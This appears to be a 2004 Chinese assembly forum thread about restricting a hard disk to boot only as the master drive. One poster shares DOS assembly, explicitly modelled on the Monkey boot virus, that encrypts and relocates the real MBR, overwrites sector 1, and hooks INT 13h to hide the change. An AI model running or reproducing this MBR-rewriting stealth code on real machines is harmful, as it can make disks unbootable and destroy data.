请问用什么办法可以让硬盘做为主盘启动,做为从盘就不能启动???

dkqiang 2004-08-18 05:37:35
????
...全文
202 12 打赏 收藏 转发到动态 举报
写回复
用AI写文章
12 条回复
切换为时间正序
请发表友善的回复…
发表回复
dkqiang 2004-08-23
  • 打赏
  • 举报
回复
code segment
assume cs:code,ds:code,es:code
org 100h

Main PROC FAR
start:
jmp BeginWrite
begin:
push es
push ds
mov cx,0100h
mov di,0600h
mov ax,0000h
mov ds,ax
mov es,ax
mov si,7c00h
REPNZ MOVSW
mov bx,offset rrr444rr - offset begin + 0600h
jmp bx
rrr444rr:
xor ax,ax
mov ds,ax
push ds
;;;;;;;;;;;;;
mov ax,word ptr ds:[413h] ; here store largest mem 0000:0413
dec ax
dec ax ; 减去2K
mov ds:[413h],ax
MOV CL,06h ;
SHL AX,CL ;ax=9f80h
MOV ES,AX ;算出减2K后病毒本体的位址,计算高端段址(为设置新的INT 13H准备)
;;;;;;;;;;;;;;;
MOV AX,ds:[004Ch] ;取中断向量表中,INT 13H的偏移位置
mov di,0000h
mov word ptr es:[di],ax
MOV AX,ds:[004Eh] ;取INT 13H的段地址
add di,02h
mov word ptr es:[di],ax
;;;;;;;;;;;;;
cli
MOV AX,010h ;将新的INT 13H位置写入中断向量表
MOV word ptr ds:[004Ch],ax
MOV AX,ES
MOV word ptr ds:[004Eh],ax
sti
;;;;;;;;;;;;;;
mov cx,offset NewInt13hCodeEnd - offset NewInt13hCodeBegin
pop ds
mov si,offset NewInt13hCodeBegin - offset begin + 0600h ;
mov di,0010h
repnz movsb ;将这段程序搬到高端
mov bx,offset NewInt13hCodeEnd - offset begin + 0600h
jmp bx
NewInt13hCodeBegin:

push ds
push si
push di
push ax
push cx
push dx
cmp ah,03h
jne NotWriteHarddsik
cmp dh,00h
jne NotWriteHarddsik
cmp cx,40h
jbe NewInt13Exit ;如果是写前64个扇区则退出中断
NotWriteHarddsik:

cmp ah,02h
jne ReadHarddiskNatural
cmp dh,00h
jne ReadHarddiskNatural
cmp cx,001h ;是否是想读原MBR
jne ReadHarddiskNatural

;;;;;;;;;;;;;;;
;读原引导记录
mov cx,01ah ;将加了密的MBR读出来
pushf
call dword ptr cs:[0000h]
;;;;;;;;;;;;; ;将加了密的MBR读出来解密
push di
push cx
push ax
mov di,bx
mov cx,200h
cld
GetRightMBRInfo:
mov al,[di]
xor al,2eh
mov byte ptr [di],al
inc di
loop GetRightMBRInfo
pop ax
pop cx
pop di
;;;;;;;;;;;;;;;;;;;
pop dx
pop cx
pop ax
pop di
pop si
pop ds
retf 0002
ReadHarddiskNatural:
pushf
call dword ptr cs:[0000h]
NewInt13Exit:
pop dx
pop cx
pop ax
pop di
pop si
pop ds
retf 0002

NewInt13hCodeEnd:
pop es
mov ax,201h
mov bx,7c00h
mov cx,001h
mov dx,080h
int 13h
jmp bx

BeginWrite:
;;;;;;;;;;;;;;;;;;;;;;;;;;;
;加密正确的MBR于1ah处
mov ax,201h
mov bx,200h
mov cx,001h
mov dx,080h
int 13h

mov di,bx
mov cx,200h
cld
EncryptMBR:
mov al,[di]
xor al,2eh
mov byte ptr [di],al
inc di
loop EncryptMBR

mov ax,301h
mov bx,200h
mov cx,01ah
mov dx,080h
int 13h
;;;;;;;;;;;;;;;;;;;;;;;;

mov cx,offset BeginWrite - offset begin
mov di,offset buf
mov si,offset begin
repnz movsb

mov ax,301h
mov bx,offset buf
mov cx,001h
mov dx,080h
int 13h

Main ENDP

show11 proc near
mov ax,cs
mov ds,ax
mov ah,09h
mov dx,offset showchar
int 21h

ret
show11 endp
showchar db 'success!','$'
buf db 510 dup(0)
db 55h,0aah
code ends
end Main
dkqiang 2004-08-23
  • 打赏
  • 举报
回复
joinkee(勤劳+智慧=成功) 你得对,我也是这样做的猴子病毒也是这样做的, 不过我的程序好像有点问题. 麻烦帮我看看这代码, 为何行不通呀.
wangziz 2004-08-23
  • 打赏
  • 举报
回复
我感觉joinkee的方法可以
ahjoe 2004-08-22
  • 打赏
  • 举报
回复
自己写BIOS
joinkee 2004-08-21
  • 打赏
  • 举报
回复
你的問題是不是這樣﹖
機器里就一個HD﹐如果把HD當PRIMARY 來啟動就允許﹐如果當成 SECONDS 就不允許﹖是這樣碼﹖

如果是這個問題你﹐最好去查一下 COMS 的資料﹐看看控制啟動順序的項是可以通過那個端口讀
然后自己寫個引導程序﹐判斷該端口的值﹐再決定是否允許啟動

joinkee 2004-08-21
  • 打赏
  • 举报
回复
你可以這樣做﹐自己寫一引導程序﹐把它放到 HD 的 0柱0道0扇區上﹐然后把 HD 上的原引導扇區。FAT區﹐ ROOT DIRECTORY 區全部加密

這樣的化﹐除非是你自己的引導程序﹐先執行﹐否則別的硬盤先啟動﹐操作系統是讀不了你硬盤上的東西的﹐因為你的FAT﹑ROOT DIRECTORY 區是加密了的

不知道這樣說﹐你是否明白呢﹖

Areslee 2004-08-21
  • 打赏
  • 举报
回复
写BIOS吧
YFLK 2004-08-21
  • 打赏
  • 举报
回复
看意思是想作系统。
但操作系统也必须先调用BIOS中的程序
ui_ppoppopp 2004-08-19
  • 打赏
  • 举报
回复
除非你的程序能在INT19之前跑,否则,有点困难,

别想这样的问题了,要是想了解BOOT,看看,BBS(BIOS Boot Specification)这个规范好了,
dkqiang 2004-08-19
  • 打赏
  • 举报
回复
老大们,
肯定不能设置(CMOS)这些啥,我是想编程序来控制得嘛.
YFLK 2004-08-19
  • 打赏
  • 举报
回复
在CMOS中设置启动项,First Boot、Second Boot
SDFDSAC 2004-08-18
  • 打赏
  • 举报
回复
不太明白楼主是什么意思
可以更改主机的启动顺序,象先从硬盘或先从光驱启动,如果一台计算机不用硬盘真的很难想象它还能做什么

21,453

社区成员

发帖
与我相关
我的任务
社区描述
汇编语言(Assembly Language)是任何一种用于电子计算机、微处理器、微控制器或其他可编程器件的低级语言,亦称为符号语言。
社区管理员
  • 汇编语言
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧